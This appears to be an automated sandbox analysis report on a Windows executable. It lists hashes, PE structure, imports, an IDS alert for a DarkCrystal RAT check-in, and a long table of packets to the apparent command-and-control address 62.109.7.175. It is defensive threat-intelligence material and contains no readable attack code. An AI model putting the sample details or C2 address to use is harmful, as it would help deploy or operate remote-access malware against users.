Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................8.........n(8.. ...@8...@.. ........................8...........@................................. (8.K....@8.p....................`8...................................................... ............... ..H............text...t.8.. ....8................. ..`.rsrc...p....@8.......8.............@....reloc.......`8.......8.............@..B................P(8.....H.......4...........i...0...WJ-..'8......................................0..........(.... ........8........E...........N.......8....(.... ....~t...{....9....& ....8....(.... ....~t...{....9....& ....8....(.... ....~t...{....:....& ....8y......0.......... ........8........E................{...R...8....r...ps....z*....~....(3...~....(7... ....?.... ....~t...{....9....& ....8....~....:.... ....~t...{....:w...& ....8l......... ....~t...{g...:R...& ....8G...~....(+... .... ....

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.739740226735694
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXKzQwciEqvpG456vvj:Vx993DEUNzZciENi6j
MD5:	92DC30C5E8E5BE61C998A9C4407C4207
SHA1:	0BD830C5EBBC58C4F06EF1204D4FEF4CAF3AB9FC
SHA-256:	778A7B11C5A0A48112E0F66C83AFD5FC4133D9D0AAC3A5C03BAA28087283129F
SHA-512:	314BE2F72F5CC7C992D74F9ADAC09E1C32B39673B89B8B70016B78FB97CF5CF18C75F5A89E5977FBC651B234987601C866A972E6D60774FE6D20F6A5CDABD90E
Malicious:	false
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 03/04/2024 01:07:42..01:07:42, error: 0x80072746.01:07:47, error: 0x80072746.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.999704787168026
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	1tQ7HC6GOS.exe
File size:	70'169'088 bytes
MD5:	77f8f69a2dfe223cca4cf0e5fad714fc
SHA1:	f731448a3b2a14d53cc80f070a270e8514ba8bf1
SHA256:	c7fd70a6e7e17aebbb8c398e0824d948598bc3558a5016165db3ca7d854c8e33
SHA512:	596f8c6b664c070a9c9e48efab4170aac95e62ecddfb38e12a3d8aea31498540dc54682e33c9a349e06f8432b244d214d4f61d9a33c07ecfbb6e2e8811d112ea
SSDEEP:	1572864:cLBiKk8tvTgmYZMhkVAM8xGZ3/+2JUC7uJp96rh7YNS:4BDBvUmYZZqOm2JU4uH9C
TLSH:	47F7339E2F34D543E58C3E76CDCBEA164539A7A43C28F7582060F49AABE7B03BC12545
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Q..................................... ....@.........................../......Z/....................................

File Icon


Icon Hash:	960c94e4ce14220e

Static PE Info

General

Entrypoint:	0x401ae1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x51BC99EC [Sat Jun 15 16:44:28 2013 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d5d9d937853db8b666bd4b525813d7bd

Entrypoint Preview

Instruction
call 00007F4130806191h
mov dword ptr [0040300Bh], eax
push 00000000h
call 00007F413080619Dh
mov dword ptr [00403013h], eax
call 00007F413080619Fh
mov dword ptr [00403C70h], eax
push 0000000Ah
push dword ptr [0040300Bh]
push 00000000h
push dword ptr [00403013h]
call 00007F413080561Fh
push 00000000h
call 00007F4130806148h
int3
jmp dword ptr [0040207Ch]
jmp dword ptr [00402008h]
jmp dword ptr [0040200Ch]
jmp dword ptr [00402010h]
jmp dword ptr [00402014h]
jmp dword ptr [00402018h]
jmp dword ptr [0040201Ch]
jmp dword ptr [00402020h]
jmp dword ptr [00402024h]
jmp dword ptr [00402028h]
jmp dword ptr [0040202Ch]
jmp dword ptr [00402030h]
jmp dword ptr [00402034h]
jmp dword ptr [00402038h]
jmp dword ptr [0040203Ch]
jmp dword ptr [00402040h]
jmp dword ptr [00402044h]
jmp dword ptr [00402048h]
jmp dword ptr [0040204Ch]
jmp dword ptr [00402050h]
jmp dword ptr [00402054h]
jmp dword ptr [00402058h]
jmp dword ptr [00402000h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x20bc	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x11000	0x42e9224	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0xbc	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc26	0xe00	a941ede160cf12509be8dd37ae2b6a57	False	0.47935267857142855	data	5.1463325678068115	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x4c0	0x600	930587e8eece4537e4be6a4476dc03fa	False	0.4055989583333333	data	4.212357479426224	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0xd6f0	0x600	7f95694b637a8e9d84e496462c4af938	False	0.16927083333333334	data	1.7255508052001818	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x11000	0x42e9224	0x42e9400	a430b41a8de533cf1b1e0c8e418c5f54	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
IMAGE	0x111b4	0x42	PC bitmap, Windows 3.x format, 1 x 1 x 1, image size 4, cbSize 66, bits offset 62	English	United States	0.5151515151515151
RT_ICON	0x111f8	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 262144			0.38733837322839304
RT_RCDATA	0x53220	0x3f34bb2	data			0.9967470169067383
RT_RCDATA	0x3f87dd4	0x3723a1	data			0.9910783767700195
RT_RCDATA	0x42fa178	0x95	data			0.7919463087248322
RT_GROUP_ICON	0x42fa210	0x14	data			1.1

Imports

DLL	Import
shlwapi.dll	PathFindFileNameA
kernel32.dll	LockResource, lstrlenA, CloseHandle, CreateFileA, ExitProcess, FindResourceA, FreeResource, GetCommandLineA, GetEnvironmentVariableA, GetFileSize, GetModuleFileNameA, GetModuleHandleA, GetProcAddress, GetProcessHeap, GetSystemDirectoryA, GetTempPathA, GetWindowsDirectoryA, GlobalAlloc, GlobalFree, HeapAlloc, HeapFree, LoadLibraryA, LoadResource, lstrcpynA, RtlMoveMemory, SetFileAttributesA, SizeofResource, WriteFile, lstrcatA, lstrcpyA
user32.dll	CreateWindowExA, DefWindowProcA, DispatchMessageA, GetMessageA, LoadCursorA, LoadIconA, MessageBoxA, PostQuitMessage, RegisterClassExA, SendMessageA, ShowWindow, TranslateMessage, UpdateWindow

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/02/24-23:42:25.251510	TCP	2048095	ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST)	49736	80	192.168.2.4	62.109.7.175

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 2, 2024 23:42:24.968440056 CEST	49736	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:25.250366926 CEST	80	49736	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:25.250556946 CEST	49736	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:25.251509905 CEST	49736	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:25.533386946 CEST	80	49736	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:25.534643888 CEST	80	49736	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:25.536099911 CEST	49736	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:25.817918062 CEST	80	49736	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:25.926016092 CEST	80	49736	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:25.926033020 CEST	80	49736	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:25.926290989 CEST	49736	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:26.003715038 CEST	49736	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:26.105037928 CEST	49737	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:26.285888910 CEST	80	49736	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:26.286283970 CEST	80	49736	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:26.286503077 CEST	49736	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:26.385061979 CEST	80	49737	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:26.385129929 CEST	49737	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:26.385313988 CEST	49737	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:26.568730116 CEST	80	49736	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:26.575463057 CEST	80	49736	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:26.663069010 CEST	49736	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:26.664732933 CEST	80	49737	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:26.668260098 CEST	80	49737	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:26.668541908 CEST	49737	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:26.944926023 CEST	80	49736	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:26.945158958 CEST	80	49736	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:26.946276903 CEST	49736	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:26.948180914 CEST	80	49737	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:26.961035967 CEST	80	49737	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:27.035536051 CEST	49737	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:27.198735952 CEST	49737	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:27.199174881 CEST	49738	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:27.228267908 CEST	80	49736	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:27.236121893 CEST	80	49736	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:27.332420111 CEST	49736	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:27.479074955 CEST	80	49737	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:27.479137897 CEST	49737	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:27.482075930 CEST	80	49738	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:27.482156038 CEST	49738	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:27.482295990 CEST	49738	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:27.764878035 CEST	80	49738	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:27.765898943 CEST	80	49738	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:27.774617910 CEST	49738	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:28.057507038 CEST	80	49738	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:28.072026968 CEST	80	49738	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:28.238765001 CEST	49738	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:28.250715971 CEST	49736	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:28.250792027 CEST	49738	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:28.251261950 CEST	49739	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:28.532651901 CEST	80	49736	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:28.532701015 CEST	49736	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:28.533499002 CEST	80	49738	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:28.533585072 CEST	49738	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:28.535685062 CEST	80	49739	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:28.535770893 CEST	49739	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:28.565028906 CEST	49739	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:28.849509001 CEST	80	49739	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:28.850498915 CEST	80	49739	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:28.850678921 CEST	49739	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:29.136261940 CEST	80	49739	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:29.151160002 CEST	80	49739	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:29.238660097 CEST	49739	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:31.741847992 CEST	49739	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:31.742711067 CEST	49743	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:32.020888090 CEST	80	49743	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:32.020967007 CEST	49743	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:32.021819115 CEST	49743	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:32.026294947 CEST	80	49739	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:32.026370049 CEST	49739	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:32.240731001 CEST	49744	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:32.299678087 CEST	80	49743	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:32.300744057 CEST	80	49743	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:32.300964117 CEST	49743	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:32.519325972 CEST	80	49744	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:32.519423962 CEST	49744	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:32.519565105 CEST	49744	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:32.578948021 CEST	80	49743	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:32.594310045 CEST	80	49743	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:32.738673925 CEST	49743	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:32.798046112 CEST	80	49744	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:32.799293995 CEST	80	49744	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:32.799475908 CEST	49744	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:33.078249931 CEST	80	49744	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:33.094930887 CEST	80	49744	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:33.098627090 CEST	49743	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:33.098720074 CEST	49744	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:33.378299952 CEST	80	49743	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:33.378372908 CEST	49743	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:33.378840923 CEST	80	49744	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:33.379609108 CEST	80	49744	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:33.379800081 CEST	49744	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:33.658965111 CEST	80	49744	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:33.666568041 CEST	80	49744	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:33.738724947 CEST	49744	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:36.359087944 CEST	49744	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:36.359450102 CEST	49745	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:36.637850046 CEST	80	49744	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:36.637907028 CEST	49744	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:36.638653040 CEST	80	49745	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:36.638741016 CEST	49745	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:36.638900042 CEST	49745	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:36.918119907 CEST	80	49745	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:36.919226885 CEST	80	49745	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:36.919461012 CEST	49745	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:37.199007034 CEST	80	49745	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:37.216300011 CEST	80	49745	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:37.441797972 CEST	49745	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:38.039726973 CEST	49745	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:38.040071964 CEST	49747	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:38.099487066 CEST	49748	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:38.320172071 CEST	80	49745	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:38.320250034 CEST	49745	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:38.324521065 CEST	80	49747	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:38.324623108 CEST	49747	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:38.324778080 CEST	49747	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:38.381222010 CEST	80	49748	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:38.381299019 CEST	49748	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:38.381447077 CEST	49748	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:38.609431028 CEST	80	49747	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:38.611190081 CEST	80	49747	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:38.611438990 CEST	49747	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:38.662228107 CEST	80	49748	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:38.663623095 CEST	80	49748	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:38.663992882 CEST	49748	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:38.895334959 CEST	80	49747	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:38.909950018 CEST	80	49747	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:38.944901943 CEST	80	49748	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:38.961309910 CEST	80	49748	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:39.129297018 CEST	49748	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:39.129314899 CEST	49747	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:39.439580917 CEST	49747	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:39.439663887 CEST	49748	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:39.440210104 CEST	49750	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:39.720431089 CEST	80	49748	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:39.720511913 CEST	49748	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:39.723414898 CEST	80	49747	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:39.723524094 CEST	49747	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:39.725312948 CEST	80	49750	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:39.725397110 CEST	49750	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:39.725527048 CEST	49750	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:40.010696888 CEST	80	49750	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:40.011806965 CEST	80	49750	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:40.012016058 CEST	49750	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:40.297785044 CEST	80	49750	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:40.315721035 CEST	80	49750	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:40.426201105 CEST	49750	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:40.468677998 CEST	49751	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:40.468750000 CEST	49750	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:40.746754885 CEST	80	49751	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:40.746861935 CEST	49751	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:40.746993065 CEST	49751	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:40.753983974 CEST	80	49750	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:40.754045010 CEST	49750	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:41.024751902 CEST	80	49751	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:41.025847912 CEST	80	49751	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:41.026026964 CEST	49751	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:41.304075956 CEST	80	49751	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:41.304115057 CEST	80	49751	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:41.326402903 CEST	80	49751	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:41.441797972 CEST	49751	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:41.601512909 CEST	49751	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:41.605366945 CEST	49752	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:41.879743099 CEST	80	49751	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:41.879872084 CEST	49751	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:41.884537935 CEST	80	49752	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:41.884634972 CEST	49752	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:41.884774923 CEST	49752	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:42.163754940 CEST	80	49752	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:42.164691925 CEST	80	49752	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:42.164901972 CEST	49752	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:42.443991899 CEST	80	49752	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:42.459558964 CEST	80	49752	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:42.535541058 CEST	49752	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:42.767909050 CEST	49752	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:42.768174887 CEST	49753	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:43.043440104 CEST	80	49753	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:43.043570042 CEST	49753	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:43.043663025 CEST	49753	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:43.047019958 CEST	80	49752	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:43.047080994 CEST	49752	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:43.320044041 CEST	80	49753	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:43.320832968 CEST	80	49753	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:43.321023941 CEST	49753	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:43.596821070 CEST	80	49753	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:43.613683939 CEST	80	49753	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:43.738697052 CEST	49753	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:43.958780050 CEST	49753	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:43.959122896 CEST	49754	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:43.973989010 CEST	49755	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:44.234360933 CEST	80	49753	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:44.234450102 CEST	49753	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:44.237545013 CEST	80	49754	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:44.238523006 CEST	49754	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:44.238640070 CEST	49754	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:44.251890898 CEST	80	49755	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:44.251996994 CEST	49755	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:44.252139091 CEST	49755	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:44.516978979 CEST	80	49754	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:44.517649889 CEST	80	49754	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:44.517812967 CEST	49754	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:44.529767990 CEST	80	49755	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:44.530203104 CEST	80	49755	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:44.530364037 CEST	49755	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:44.796236038 CEST	80	49754	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:44.808044910 CEST	80	49755	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:44.808058023 CEST	80	49755	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:44.815088034 CEST	80	49755	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:44.819152117 CEST	80	49754	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:44.881345034 CEST	49754	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:44.941792011 CEST	49755	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:44.984822035 CEST	49755	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:44.984884977 CEST	49754	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:45.020719051 CEST	49756	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:45.263490915 CEST	80	49755	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:45.264290094 CEST	80	49754	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:45.264347076 CEST	49755	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:45.264374018 CEST	49754	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:45.301997900 CEST	80	49756	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:45.302114964 CEST	49756	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:45.302396059 CEST	49756	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:45.584223986 CEST	80	49756	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:45.584652901 CEST	80	49756	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:45.584815979 CEST	49756	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:45.865330935 CEST	80	49756	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:45.871099949 CEST	80	49756	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:45.941801071 CEST	49756	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:46.060328007 CEST	49757	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:46.340178013 CEST	80	49757	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:46.340251923 CEST	49757	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:46.340420008 CEST	49757	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:46.620069027 CEST	80	49757	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:46.620457888 CEST	80	49757	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:46.620666027 CEST	49757	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:42:46.900501013 CEST	80	49757	62.109.7.175	192.168.2.4
Apr 2, 2024 23:42:46.907366991 CEST	80	49757	62.109.7.175	192.168.2.4
